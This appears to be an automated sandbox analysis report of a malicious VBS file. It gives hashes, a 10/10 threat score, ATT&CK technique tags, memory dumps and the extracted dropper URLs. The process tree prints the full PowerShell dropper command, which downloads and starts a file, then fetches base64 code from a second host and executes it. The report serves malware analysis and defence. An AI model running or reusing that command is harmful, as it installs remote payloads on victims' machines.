82a5c2c1860860f5cb9bae361e09f1103fd8740aba1bed084e15e8a487a4510a

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
19-09-2024 10:14

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General

Target

Invio_File_5_2e1c05a00c25827239e33c13d5dfad97.vbs
Size

2.0MB
MD5

9f27498cc3e4c9551b2a09b80a695e20
SHA1

7be68189f366989b40ddcbdb65a73e71af752755
SHA256

a35d561f3a00760bb2da5329c72ca4e7d6c30a5f81c8bb2af508f4d468c86855
SHA512

68858adb77479ffb7f9bd69869e5be06d7c7c8424e3e657b51d01afac61dc3af640a3fbce75d98d4413ff310ae214b90d65a6ae61ad9f15f036a542f4003c941
SSDEEP

192:MVp2kmF6uwAS6X9OHrNRL7Qf8i9hwuH7+o4kXpyHHxi:M72kmF7wAOL/Qf8xTcXcxi

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://dbi.willjohnson.net/?need=5a5210f&vid=vb1&53969

exe.dropper

http://www.luigicafagna.it/wp-content/uploads/2017/10/SKMBT_C22017100712541.jpg

Signatures

Blocklisted process makes network request 4 IoCs

flow	pid	Process
5	2116	powershell.exe
6	2116	powershell.exe
7	2116	powershell.exe
9	2116	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Start PowerShell.

execution

PowerShell

T1059.001

pid	Process
2116	powershell.exe
2116	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2116	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2116	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1244 wrote to memory of 2116	1244	WScript.exe	30
PID 1244 wrote to memory of 2116	1244	WScript.exe	30
PID 1244 wrote to memory of 2116	1244	WScript.exe	30

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Invio_File_5_2e1c05a00c25827239e33c13d5dfad97.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1244
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" try{ $a = $env:temp + '\122.jpg';((New-Object Net.WebClient).DownloadFile(('http://www.luigicafagna.it/wp-content/uploads/2017/10/SKMBT_C22017100712541.jpg'),$a));start-process $a;}catch{};iex ( [string][System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String( ((New-Object Net.WebClient).DownloadString('http://dbi.willjohnson.net/?need=5a5210f&vid=vb1&53969')))));acyww="bguvv";
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2116

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2116-4-0x000007FEF68AE000-0x000007FEF68AF000-memory.dmp

Filesize
4KB

Download
memory/2116-5-0x000000001B720000-0x000000001BA02000-memory.dmp

Filesize
2.9MB

Download
memory/2116-6-0x0000000002340000-0x0000000002348000-memory.dmp

Filesize
32KB

Download
memory/2116-7-0x000007FEF65F0000-0x000007FEF6F8D000-memory.dmp

Filesize
9.6MB

Download
memory/2116-10-0x000007FEF65F0000-0x000007FEF6F8D000-memory.dmp

Filesize
9.6MB

Download
memory/2116-9-0x000007FEF65F0000-0x000007FEF6F8D000-memory.dmp

Filesize
9.6MB

Download
memory/2116-8-0x000007FEF65F0000-0x000007FEF6F8D000-memory.dmp

Filesize
9.6MB

Download
memory/2116-11-0x000007FEF65F0000-0x000007FEF6F8D000-memory.dmp

Filesize
9.6MB

Download
memory/2116-12-0x000007FEF68AE000-0x000007FEF68AF000-memory.dmp

Filesize
4KB

Download
memory/2116-13-0x000007FEF65F0000-0x000007FEF6F8D000-memory.dmp

Filesize
9.6MB

Download
memory/2116-14-0x000007FEF65F0000-0x000007FEF6F8D000-memory.dmp

Filesize
9.6MB

Download